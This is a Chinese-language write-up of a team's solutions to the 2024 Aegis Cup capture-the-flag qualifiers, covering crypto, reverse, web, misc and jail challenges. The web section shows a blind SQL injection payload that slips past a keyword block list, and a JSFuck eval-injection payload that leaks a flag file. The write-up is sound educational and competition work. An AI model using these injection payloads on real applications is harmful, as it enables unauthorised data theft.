2024 神盾盃 初賽 WriteUp
[TOC]
## 成績

窩也不資到 10th
看完整[Profile](https://img.stoneapp.tech/t510599/aegis-2024/quals/Profile.png)、[Scoreboard](https://img.stoneapp.tech/t510599/aegis-2024/quals/Scoreboard.png)
## 比賽資訊
神盾盃 預賽
時間: 2024/9/14 09:00 ~ 19:00
官網: https://www.facebook.com/Aegis.CTF/
取前 10 進決賽
## 前言
跟 @a91082900 還有 @kuokuoyiyi 大佬一起刷神盾
幸好比賽時間短 最後壓線賽進決賽了 開心 終於進神盾了
可惜 @kuokuoyiyi 決賽不在台灣 QQ
寫個 writeup 紀錄一下 (只有放自己有解的題目)
----
## Crypto
### miku
```
miku = 1
for _ in range(39):
miku *= getPrime(39)
negi = 0x10001
kotoba = os.urandom(32)
roller = AES.new(kotoba, AES.MODE_CBC) # key for flag
```
roller 會被用來加密圖片 而最後會輸出 miku, negi 跟這兩個參數做 RSA (分別是 N, e) 加密 kotoba
miku 是個平滑的大數
基本上 sage 秒解
```
phi = euler_phi(miku)
d = inverse_mod(negi, phi)
kotoba = bytes.fromhex(hex(pow(kotoba, d, miku))[2:])
```
把 kotoba 解開再餵給 AES 解密圖片 上面就有 flag

flag: `AEGIS{4_b3l473d_h4ppy_b1r7hd4y_70_h45un3_m1ku}`
## Reverse
### Calculator
是個 .NET binary 丟進 dnSpy 就可以看到生 flag 的 code
直接包起來去執行就有 flag

flag: `AEGIS{N0_5WE4T}`
## Web
### do you like injection
一個 flask server 有 POST 表單可以填 username
有很明顯的 SQLi:
```
# sqlite
cursor.execute(f"SELECT * FROM user WHERE username = '{username}'")
```
但在送進去之前會先 filter 關鍵字
```
blockList = ['\'', '"', '#', '-' ,'\\' ,'*', ' ']
for keyword in blockList:
if keyword in username:
# return error
```
另外注意到他取值是用 json
```
req = request.get_json()
username = req['username']
```
簡單做個實驗 可以發現當 username 是 list of string 的時候
要被放入 f-string 之前會先轉成 expr 這時候單引號就會自己跑出來了

所以就可以閉合 SQL statement 中 username 前面的單引號來 injection
剩下因為沒有回顯 所以打 boolean-based union sqli
大概這樣:
```
payload_template = "' OR username='admin' and {} /*"
def brute(i, c):
payload = payload_template.format(f"(SELECT substr(hex({col_name}),{i},1) FROM {tbl_name} limit 1) = '{c}'")
data = {'username': [payload]}
```
brute 會回傳 query 裡面 index `i` 是不是 `c` 這個 char
這裡用 hex 可以讓 `c` 的 charset 比較小
flag: `AEGIS{wl3c0m3_70_5ql1733_5ql1nj3c710N_7360d127d3531dd6424d0368f9435703}`
### JSFBox
Server 用 express 跑起來 並且會 eval 你的 input 再用其 output 再 eval 一次
```
const fa = fs.readFileSync('/flag', 'utf-8');
// ...
app.post("/escape", (req, res) => {
body = req.body;
let validationResult = validateString(body);
if (validationResult !== "String is valid.") {
return res.send(validationResult);
}
console.log(body);
let result;
try {
result = eval(body).toString();
} catch (e) {
return res.send("Something went wrong with your code.");
}
try {
if (String (eval(result)) === fa) {
return res.send("WOW! How did you know the flag?");
}
} catch (e) {}
return res.send("Good job! Try harder.");
});
```
限制第一個 eval 輸入要符合 `/^[^\w=]+$/` (只能有 symbol)
另外限制總共只能用 2\*\*4 個 symbol 跟每個 symbol 出現次數規則如下:
```
const sortedSymbols = Object.keys(charCount).sort((a, b) => charCount[b] - charCount[a]);
for (let i = 0; i < sortedSymbols.length; i++) {
const maxAllowed = 2**7 - i;
if (charCount[sortedSymbols[i]] > maxAllowed) {
return "Error";
}
}
```
因為跑 eval 的 scope 有 `res` 直接 call `res.send` 把 `fa` (flag) 送給前端就好
Payload: `res.send(fa)`
然後轉成 jsfuck:
```
(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+([][[]]+[])[!+[]+!+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+!+[]+[!+[]+!+[]+!+[]]]+(![]+[])[+[]]+(![]+[])[+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[!+[]+!+[]+[+[]]]
```
flag: *忘記存了 OwO*
## Misc
### Just paly a game
1A2B 但是要猜的是英文小寫字母 而且要猜 8 位 (每位都不同字母) 另外次數上限是 18 次
策略主要是先猜 `abcdefgh` `ijklmnop` `qrstuvwx` 這樣就可以篩選出有沒有 `y` 跟 `z`
抽到沒 `y` `z` 跟有一組 4B 以上再開局
寫了個土炮 web 來幫忙追蹤
<details>
<summary>▶ 點我展開糞 code</summary>
```
<!DOCTYPE html>
<html>
<head>
<title>Title</title>
<style>
body {
display: flex;
align-items: center;
flex-direction: column;
}
</style>
</head>
<body>
<table>
<thead>
</thead>
<tbody>
</tbody>
</table>
<div>
<input type="text"><input type="text"><input type="text"><input type="text"><input type="text"><input type="text"><input type="text"><input type="text">
</div>
<script>
const char = "abcdefghijklmnopqrstuvwxyz";
const $thead = document.querySelector("thead");
$thead.innerHTML += "<tr><th></th></tr>";
for (let c of char) {
$thead.querySelector("tr").innerHTML += `<th>${c}</th>`;
}
const $tbody = document.querySelector("tbody");
$tbody.innerHTML += "<tr><th>B</th></tr>";
for (let c of char) {
$tbody.querySelector("tr").innerHTML += `<td><input type="checkbox"></td>`;
}
$tbody.innerHTML += $tbody.innerHTML;
$tbody.querySelector("th").innerHTML = "A";
$tbody.querySelectorAll("tr:last-child td").forEach(($td, i) => {
$td.querySelector("input").checked = "checked";
});
</script>
</body>
</html>
```
</details>
反正最後是被我賽到了 賽了四五個小時 = =


flag: `AEGIS{C4n_y0U_5H4r3_4nY_4B0u7_7h15_64M3_7R1cK_W17h_m3?}`
### Eazy Jail
總共有兩個 stage 分別是 python 與 node.js
第一個 stage 要只用 `a,b,c,d,e,f,g,1,2,3,4,5,{,}` 分別造出不同長度的 code 讓 eval 結果為 `2`
Stage 1 exp:
```
2 # 1
"2" # 3
f"2" # 4
f"{2}" # 6
"""2""" # 7
f"{"2"}" # 8
f"""{2}""" # 10
f"{f"{2}"}" # 11
```
註: 長度 11 的 exploit 要在 python 3.12 之後才能用 [文件](https://docs.python.org/3/reference/lexical_analysis.html#f-strings)裡面有提到:
> Changed in version 3.12: Prior to Python 3.12, reuse of the same quoting type of the outer f-string inside a replacement field was not possible.
stage 2 則是在輸入符合 `/^[0-9+\-*/.\s]+$/` 的狀況下通過以下驗證:
```
const CORRECT_ANSWER = 1024;
const EXPECTED_RESULT = 532;
readline.question('Guess the number: ', input => {
const guessedNumber = Number(input);
if (guessedNumber === CORRECT_ANSWER) {
try {
const evaluationResult = safeEval(input);
if (evaluationResult === EXPECTED_RESULT) {
displaySuccess();
} else {
displayFailure();
}
} catch (error) {
displayError();
}
} else {
displayFailure();
}
readline.close();
```
這邊可以發現 1024 (octal) = 532 (decimal)
另外查看 [Number](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number#number_coercion) 的文件可以發現以下敘述:
> A leading `0` digit does not cause the number to become an octal literal (or get rejected in strict mode).
所以輸入 octal 的 1024 (`01024`) 會被 `Number` 解析成 1024 但直接 eval 則得到 532
Stage 2 exp:
```
01024
```
flag: `AEGIS{345y_j41l_f0r_b361nn3r_n07_w473r_qu35710n_QQ}`
2024-11-04 03:27:49
留言
Last fetch: --:--
現在還沒有留言!